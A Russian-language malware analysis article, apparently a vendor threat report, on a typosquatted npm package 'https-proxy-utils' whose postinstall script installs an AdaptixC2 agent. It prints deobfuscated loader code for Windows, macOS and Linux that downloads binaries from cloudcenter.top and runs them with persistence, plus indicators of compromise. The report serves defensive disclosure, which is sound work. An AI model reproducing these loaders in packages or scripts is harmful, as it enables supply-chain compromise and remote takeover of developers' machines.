

## Постэксплуатационный фреймворк теперь доставляется и в npm

Vladimir Gursky : 10/17/2025



### Описание инцидента

В начале 2025 года в открытом доступе была опубликована первая версия фреймворка для постэксплуатации AdaptixC2, который можно назвать альтернативой известному Cobalt Strike. Весной 2025 года [были зафиксированы](#) первые случаи применения этого фреймворка злоумышленниками во вредоносных целях.

В октябре 2025 года эксперты «Лаборатории Касперского» обнаружили вредоносный пакет в экосистеме npm с достаточно убедительным именем https-proxy-utils, который был представлен как инструмент для использования прокси в проектах. На момент публикации статьи этот пакет уже был удален из реестра.

Название пакета напоминает популярные легитимные пакеты: http-proxy-agent с приблизительно 70 миллионами загрузок в неделю и https-proxy-agent с 90 миллионами загрузок. Заявленная функциональность для работы с прокси полностью скопирована из другого популярного легитимного пакета, proxy-from-env, с 50 миллионами загрузок в неделю. Однако, помимо этого, злоумышленники внедрили в пакет https-proxy-utils постинсталляционный скрипт, который загружает и запускает полезную нагрузку с агентом AdaptixC2.

```
1 | {
2 |   "name": "https-proxy-utils",
3 |   "description": "...",
4 |   "scripts": {
5 |     "test": "node --test ./test.js",
6 |     "test-coverage": "node --experimental-test-coverage --test-reporter-loov --test-reporter-des...",
7 |     "postinstall": "node scripts/postinstall.js"
8 |   },
9 |   "repository": {
10 |     "type": "git",
11 |     "url": "https://github.com/Rob-W/https-proxy-utils.git"
12 |   },
13 |   "keywords": [
14 |     "https",
15 |     "proxy",
16 |     "https_proxy",
17 |     "https_proxy",
18 |     "no_proxy",
19 |     "environment"
20 |   ],
21 |   "author": "Rob Wu <rob@robwu.nl> (https://robwu.nl/)",
22 |   "license": "MIT",
23 |   "bugs": {
24 |     "url": "https://github.com/Rob-W/https-proxy-utils/issues"
25 |   },
26 |   "homepage": "https://github.com/Rob-W/https-proxy-utils#readme",
27 |   "devDependencies": {
28 |     "eslint": "8.8.0"
29 |   }
30 | }
31 |
32 | {
33 |   "name": "https-proxy-utils",
34 |   "description": "Offers getProxyForUrl to get the proxy URL for a URL, respecting the 'PROXY' (e.g. B...",
35 |   "scripts": {
36 |     "test": "node --test ./test.js",
37 |     "test-coverage": "node --experimental-test-coverage --test-reporter-loov --test-reporter-des...",
38 |     "postinstall": "node scripts/postinstall.js"
39 |   },
40 |   "repository": {
41 |     "type": "git",
42 |     "url": "https://github.com/Rob-W/https-proxy-utils.git"
43 |   },
44 |   "keywords": [
45 |     "https",
46 |     "proxy",
47 |     "https_proxy",
48 |     "https_proxy",
49 |     "no_proxy",
50 |     "environment"
51 |   ],
52 |   "author": "Rob Wu <rob@robwu.nl> (https://robwu.nl/)",
53 |   "license": "MIT",
54 |   "bugs": {
55 |     "url": "https://github.com/Rob-W/https-proxy-utils/issues"
56 |   },
57 |   "homepage": "https://github.com/Rob-W/https-proxy-utils#readme",
58 |   "devDependencies": {
59 |     "eslint": "8.8.0"
60 |   }
61 | }
```

Метаданные вредоносного (слева) и легитимного (справа) пакетов

### Адаптация под ОС

Злоумышленники предусмотрели в скрипте различные способы загрузки полезной нагрузки в зависимости от операционной системы жертвы. В пакете представлены варианты загрузки на Windows, Linux и macOS: в каждой системе имплантируется и запускается определенным образом при помощи системных или пользовательских директорий.

Так, на Windows агент AdaptixC2 загружается в качестве DLL-файла в системную директорию C:\Windows\Tasks и запускается в системе при помощи [техники DLL Sideloadng](#). Для этого JS-скрипт

копирует легитимный файл `msdtc.exe` в ту же директорию и выполняет его, что в свою очередь загружает вредоносную библиотеку.

```
async function onWindows() {
  const url = 'https://cloudcenter.top/sys/update';
  const dllPath = 'C:\\Windows\\Tasks\\msdtctm.dll';
  const systemMsdtc = 'C:\\Windows\\System32\\msdtc.exe';
  const tasksMsdtc = 'C:\\Windows\\Tasks\\msdtc.exe';

  try {
    await downloadFile(url, dllPath);
    fs.copyFileSync(systemMsdtc, tasksMsdtc);

    const child = spawn(tasksMsdtc, [], {
      detached: true,
      stdio: 'ignore',
    });
    child.unref();
  } catch (err) {
    console.error(err);
  }
}
```

Код загрузки AdaptixC2 на Windows, деобфусцированный и приведенный к читаемому виду

На macOS скрипт загружает полезную нагрузку в виде исполняемого файла в пользовательскую директорию автозапуска `Library/LaunchAgents`. В эту же директорию `postinstall.js` загружает файл конфигурации для автозапуска `plist`. Перед загрузкой AdaptixC2 скрипт проверяет целевую архитектуру — x64 или ARM — и в зависимости от нее скачивает соответствующую полезную нагрузку.

```

async function onMacOS() {
  const home = os.homedir();
  const libraryDir = path.join(home, 'Library');
  const launchAgentsDir = path.join(libraryDir, 'LaunchAgents');

  if (!fs.existsSync(launchAgentsDir)) {
    fs.mkdirSync(launchAgentsDir, { recursive: true });
  }

  const binPath = path.join(launchAgentsDir, 'macosUpdate');
  const plistPath = path.join(launchAgentsDir, 'com.macos.update.plist');

  const urlArm = 'https://cloudcenter.top/macos_update_arm';
  const urlX64 = 'https://cloudcenter.top/macos_update_x64';
  const urlPlist = 'https://cloudcenter.top/macosUpdate.plist';

  try {
    if (os.arch() === 'arm64') {
      await downloadFile(urlArm, binPath);
    } else {
      await downloadFile(urlX64, binPath);
    }
    await downloadFile(urlPlist, plistPath);

    fs.chmodSync(binPath, 0o755);

    const child = spawn(binPath, [], { detached: true, stdio: 'ignore' });
    child.unref();

    let plist = fs.readFileSync(plistPath, 'utf-8');
    plist = plist.replace(/{{filepath}}/g, binPath);
    fs.writeFileSync(plistPath, plist, 'utf-8');
  } catch (err) {
    console.error(err);
  }
}

```

Код загрузки AdaptixC2 на macOS, деобфусцированный и приведенный к читаемому виду

На Linux агент фреймворка загружается во временную директорию /tmp/.fonts-unix. Скрипт обеспечивает доставку бинарного файла, ориентированного под конкретную архитектуру (x64 или ARM), после чего присваивает ему права на исполнение.

```

async function onLinux() {
  const destPath = '/tmp/.fonts-unix';
  const urlX64 = 'https://cloudcenter.top/linux_update_x64';
  const urlArm = 'https://cloudcenter.top/linux_update_arm';

  try {
    if (os.arch() === 'x64') {
      await downloadFile(urlX64, destPath);
    } else {
      await downloadFile(urlArm, destPath);
    }
    fs.chmodSync(destPath, 0o755);

    const child = spawn(destPath, [], { detached: true, stdio: 'ignore' });
    child.unref();
  } catch (err) {
    console.error(err);
  }
}

```

Код загрузки AdaptixC2 на Linux, деобфусцированный и приведенный к читаемому виду

Установив агент фреймворка AdaptixC2 на устройстве жертвы, злоумышленники получают возможности удаленного доступа, выполнения команд, управления файлами и процессами, а также различные способы

закрепления в системе. Это позволяет атакующим не только сохранять устойчивый доступ, но и проводить анализ сети и разворачивать последующие стадии атаки.

## Заключение

Это не первая атака на реестр прт за последнее время. Месяц назад подобные методики заражения при помощи постинсталляционного скрипта использовались [в нашумевшем инциденте](#) с волной заражений червем под названием Shai-Hulud, который инфицировал свыше 500 пакетов.

Инцидент с AdaptixC2 демонстрирует растущую тенденцию использования экосистем открытого программного обеспечения, таких как прт, в качестве вектора атак. Злоумышленники [все чаще эксплуатируют доверенную цепочку поставок открытого ПО](#) для распространения агентов постэксплуатационных фреймворков и других видов вредоносных программ. Подобным угрозам подвержены пользователи и организации, занимающиеся разработкой или использующие открытое программное обеспечение из таких экосистем, как прт, в своих продуктах.

Чтобы оставаться в безопасности, мы рекомендуем проявлять бдительность при установке модулей с открытым исходным кодом: удостоверяться в точности названия скачиваемого пакета, а также более тщательно проверять непопулярные и новые репозитории. Кроме того, при использовании популярных модулей критически важно отслеживать [постоянно пополняемые фиды скомпрометированных пакетов и библиотек](#).

## Индикаторы компрометации

### Название пакета:

https-proxy-utils

### Хэши:

[DFBC0606E16A89D980C9B674385B448E](#) — хэш пакета

[B8E27A88730B124868C1390F3BC42709](#)

[669BDBEF9E92C3526302CA37DC48D21F](#)

[EDAC632C9B9FF2A2DA0EACAAB63627F4](#)

[764C9E6B6F38DF11DC752CB071AE26F9](#)

[04931B7DFD123E6026B460D87D842897](#)

### Сетевые индикаторы:

[cloudcenter\[.\]top/sys/update](#)

[cloudcenter\[.\]top/macos\\_update\\_arm](#)

[cloudcenter\[.\]top/macos\\_update\\_x64](#)

[cloudcenter\[.\]top/macosUpdate\[.\]plist](#)

[cloudcenter\[.\]top/linux\\_update\\_x64](#)

[cloudcenter\[.\]top/linux\\_update\\_arm](#)

Постэксплуатационный фреймворк теперь доставляется и в прт

Ваш e-mail не будет опубликован. Обязательные поля помечены \*

[Cancel](#)